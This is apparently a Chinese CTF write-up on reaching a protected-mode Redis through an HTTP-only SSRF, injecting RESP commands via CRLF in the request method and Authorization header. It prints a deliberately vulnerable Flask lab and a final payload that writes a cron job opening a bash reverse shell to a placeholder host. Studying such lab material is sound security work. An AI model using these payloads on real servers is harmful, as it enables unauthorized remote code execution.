SSRF attack redis by http-protocol

发布于 2022-11-16  127 次阅读


author: bilala

0x00 前言

这两天写了一道利用ssrf攻击redis服务的题,一般我们接触到的都是用gopher协议去打,不过这个题限制了我们只允许使用http协议。毕竟以前都是直接用gopherus直接生成的payload,也是在写了这道题后才了解了好多原理(过程很坎坷就是了www)

题目地址:https://github.com/smarx/hashcache-ctf

为了方便分析,本地写一个类似的(需要重写一下request和http请求):

from flask import Flask, request

import urllib

app = Flask(__name__)

@app.route('/')
def index(): 
    return "service start"

@app.route('/vul')
def vul(): 
    # 本地没强制要求http,不过自己心里知道就行
    url = request.args.get('url')
    method = request.args.get('method')
    if url is None:
        return "please input url"
    if method is None:
        method = "GET"
    auth = request.args.get('auth')
    if auth is None:
        auth = ""
    headers = {"Authorization": auth}
    try:
        req = urllib.request.Request(url=url, method=method.upper(), headers=headers)
        resp = urllib.request.urlopen(req)
        return resp.read()
    except urllib.error.URLError as e:
        print(e)

if __name__ == '__main__':
    app.run(host="0.0.0.0",debug=True)

0x01 环境分析

查看redis.conf,发现其中并没有设置密码,不过他的protected-modeyes,传统的redis未授权服务,这里都是no,所以我们要知道这个yes拦截了什么,看conf文件中对这个属性的介绍

63 # Protected mode is a layer of security protection, in order to avoid that
64 # Redis instances left open on the internet are accessed and exploited.
65 #
66 # When protected mode is on and if:
67 #
68 # 1) The server is not binding explicitly to a set of addresses using the
69 # "bind" directive.
70 # 2) No password is configured.
71 #
72 # The server only accepts connections from clients connecting from the
73 # IPv4 and IPv6 loopback addresses 127.0.0.1 and ::1, and from Unix domain
74 # sockets.
75 #
76 # By default protected mode is enabled. You should disable it only if
77 # you are sure you want clients from other hosts to connect to Redis
78 # even if no authentication is configured, nor a specific set of interfaces
79 # are explicitly listed using the "bind" directive.

可以看到在开启保护模式后,如果bind 127.0.0.1且没有密码,那么redis服务将只能从redis-cli访问,恰巧题目中满足这两个条件,并且题目的ssrf只能发起http请求,这似乎看起来是无解了。

我们尝试传入http://192.168.12.146:5000/vul?url=http://127.0.0.1:6379/

再查看redis的日志

Possible SECURITY ATTACK detected. It looks like somebody is sending POST or Host: commands to Redis. This is likely due to an attacker attempting to use Cross Protocol Scripting to compromise your Redis instance. Connection aborted.

看起来像是我们的请求被拦截了,这显然很符合我们的预期,不过我们可以看看请求是在何时被拦截的

先监听本地的某个端口,再用题目的请求去发送,看看请求包内容

\# nc -l -p 12345
GET / HTTP/1.1
Accept-Encoding: identity
Host: 127.0.0.1:12345
User-Agent: Python-urllib/3.6
Authorization: 
Connection: close

我们再连接到6379端口,按行发送请求

image-20221116010144329

可以看到在Host请求这行后就断开了连接,所以我们能利用的只有在这之前,当然在这之前最好先了解一下RESP协议

0x02 RESP协议

我们先在本地抓一个redis的数据包

tcpdump -i lo port 6379 -w redis.pcap

然后在本地用redis-cli连进去

image-20221116010910707

结束后,记得在监听的那里ctrl+c结束,然后分析数据包

image-20221116011229675

可以看到在箭头所指部分是我们所发送的数据,这个时候再去看官方文档http://www.redis.cn/topics/protocol.html

大致说一下,*代表参数的个数,$表示字符串的长度,每个不同的命令之间要用\r\n隔开

0x03 题目分析

根据上述分析,为了将我们的数据传送到redis,我们需要使用CRLF注入,但是在host时我们请求就被截断了,所以我们要找我们可控的地方

  • url:这个随我们输入,并且影响的是host前面的行,可以试试
  • method:这个也不用说了,就是最前边的GET或者POST,更可控了
  • Authorization:这个虽然可控,但是他在host行之后,所以不做考虑

url

我们先使用url,传入url=http://127.0.0.1:6379/%0d%0abilala&method=get&auth=

image-20221116012135668

很可惜的是httpClient不允许url中有\r\n,所以这里我们只能放弃

method

这里似乎是最后一个选择了,不过我们也只能试试究竟是否行得通

url=http://127.0.0.1:6379/&method=%0d%0a*2%0d%0a%243%0d%0aget%0d%0a%244%0d%0aname%0d%0a&auth=

为了查看结果,同样在本地抓包

image-20221116012609234

可以看到这里可以成功实现CRLF注入的,返回$-1的原因是因为redis中没有NAME这个键。

到这里我们已经可以实现运行reids命令了,可是问题出现在了method.upper,如果我们希望弹shell,那么这就不能成功了,毕竟bash -iBASH -I的差别还是很大的,所以我们仍需进一步挖掘

0x04 Authorization注入

上边我们说了,Authorization在host行之后,这显然是没什么可以利用的,在host行之后, 请求就被断开了,仿佛又是一个死胡同。

想想刚刚我们可以利用的redis命令,或许我们可以把host及之后的行都当成字符串处理!这个想法真的很妙

我们刚刚是将$4指向了NAME,现在我们可以写一个$88来指向下面的几行,这样host将不会被当作http请求发送过去,那我们的Authorization又可以用来CRLF注入了

同样的在本地抓个包,传入数据为:url=http://127.0.0.1:6379/&method=%0d%0a*2%0d%0a%243%0d%0aget%0d%0a%2488%0d%0a&auth=%0d%0a*2%0d%0a%243%0d%0aget%0d%0a%244%0d%0aname

看包

image-20221116013519868

完美执行!返回了name的值222

剩下的就是构造payload完成反弹shell了

0x05 最终payload

到这里的话,本地的分析就结束了,这题的最后还有一步,参考https://smarx.com/posts/2020/09/ssrf-to-redis-ctf-solution/

本地这个如果需要弹shell:

url=http://127.0.0.1:6379/&method=
*3%0D%0A%243%0d%0aset%0D%0A%241%0D%0Aa%0D%0A%2488%0d%0a&auth=%0d%0a*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adir%0D%0A$16%0D%0A/var/spool/cron/%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$10%0D%0Adbfilename%0D%0A$4%0D%0Aroot%0D%0A*3%0D%0A$3%0D%0Aset%0D%0A$2%0D%0Axx%0D%0A$55%0D%0A%0A*/1%20*%20*%20*%20*%20bash%20-i%20%3E%26%20/dev/tcp/xxx.xx.x.xx/2222%200%3E%261%0A%0D%0A*1%0D%0A$4%0D%0Asave%0D%0A

image-20221116014154432

0x06 总结/收获

  • 在redis中启用protected-mode后,若无密码,且bind绑定本地,那么reids服务只能从redis-cli访问
  • RESP协议数据规范与传输规范
  • httpClient中不允许有\r\n
  • 0x04中,思路打开,这种利用方式太妙了
  • redis写计划任务反弹shell